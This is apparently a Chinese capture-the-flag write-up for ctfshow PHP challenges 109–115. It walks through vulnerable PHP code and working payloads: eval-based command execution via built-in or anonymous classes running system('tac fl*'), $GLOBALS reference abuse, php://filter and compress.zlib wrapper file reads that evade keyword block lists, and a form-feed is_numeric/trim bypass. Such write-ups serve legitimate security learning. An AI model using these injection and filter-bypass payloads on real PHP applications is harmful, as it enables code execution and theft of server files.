ctfshow web入门 php特性 109-115

发布时间 2023-04-05 00:23:21作者: kazie

109-110 需要了解 PHP原生类

112-114 使用伪协议
重点
​ 1、了解PHP原生类(内置类)、匿名类
​ 2、了解伪协议、过滤器
​ 3、了解引用赋值
​ 4、了解超全局变量
​ 5、了解 is_numeric() 与 trim() 缺点

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
} 

要求:v1、v2至少有一个字母

分析

​ 1、看见 new 就应该想到类,因此 v1 就是类名

​ 类分为php内置类、用户自定义的类、匿名类,自定义的类在这里不能 用,只剩两种

  

知识点

​ 1、内置类与匿名类

​ 2、魔术方法

payload

#法一  内置类
v1=Exception&v2=system('tac fl*')

#法二 匿名类+魔术方法
v1=class{ public function __construct(){system('tac fl*');}};&v2=w

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

} 

禁掉了匿名类的payload

要求:不允许使用特殊字符与数字

   v1只能是类,v2为函数或方法,且无参数

分析

​ 1、web109 中的 v2 先为 system(ls) ,后为system('tac fl*')

    步骤为:1)查看目录 2)查看文件信息

    但 ( 被禁用,不用使用 system(ls) 查看目录

​ 2、考虑查看目录函数的替代:scandir()、golb()、dirname()、basename()、realpath()、getcwd()

    其中 scandir()、golb() 、dirname()、basename()、realpath() 需要给定参数

    而 getcwd() 不需要参数

    很明显 v2=getcwd

​ 3、v1 我们选择读取文件内置类 FilesystemIterator

payload

v1=FilesystemIterator&v2=getcwd

访问url:http://aab9e585-0825-45cb-bbfc-e126287407c0.challenge.ctf.show/fl36dga.txt

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

} 

要求:v1,v2 不能包含特殊符号与数字,v1 必须包含 ctfshow

分析

  1、getFlag 中使用 var_dump() 输出 $$v1

    $$v1 = &$$v2

    $v2 为变量,我们知道,flag 通常存储在 $flag 变量中,因此,令 v2 = flag,则相当于 $$v1 = $flag

    构造的 payload 为 v1=ctfshow&v2=flag

    但输出为 NULL

    原因:(变量范围)

      $flag 在自定义函数 getFlag 函数中没有定义

      $flag 是属于 flag.php 中的变量,对于 getFlag 是外部变量,因此我们需要将 $flag 改为全局变量

  2、定义全局变量的格式为 global $flag

    如果 v2=global $flag

    首先 $ 被屏蔽

    其次 $$v1 = &$$v2 ,既 $$v1 = &$global $flag

  3、考虑使用超全局变量 $GLOBALS

知识点

  1、引用赋值 &

  2、变量范围

  3、预定义变量中的超全局变量 $GLOBALS

payload

v1=ctfshow&v2=GLOBALS

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

要求:file 不能是文件,且不能使用 http、https、data 伪协议,不能使用 input 参数,不能使用 rot13、base64、string 过滤器

分析

  源码使用了 highlight_file() 函数,同时屏蔽了3个伪协议跟3个过滤器

  很明显,这道题使用伪协议,php 可以使用

知识点

  1、php支持的协议与封装协议(伪协议)

  2、可用过滤器

payload

file=php://filter/read=convert.quoted-printable-encode/resource=/var/www/html/flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在 web112 的基础上屏蔽 filter 参数,换个伪协议即可

知识点

  1、zlib:// 伪协议

    compress.zlib 与 gzopen() 相等 ,gzopen() 可以用来读取不是gzip格式的文件

    compress.zlib2 与 bzopen() 相等

payload

file=compress.zlib://flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

禁用了压缩流,但把 filter 放出来了

payload

file=php://filter/resource=flag.php

web115

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";

要求:不能有空格,不能使用八进制、十六进制、科学计数法,同时 num 为36,且不能为36,既同时满足 $num!'36' 和 $num'36'

知识点

  1、is_numeric() 只允许数字或数字字符串(八进制、十六进制、科学计数法),且允许数字或数字字符串前有空格

  2、trim() 去除普通空格、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)

  3、等于()、不等(!=)、全等(=)、不全等(!==)区别

payload

num=%0c36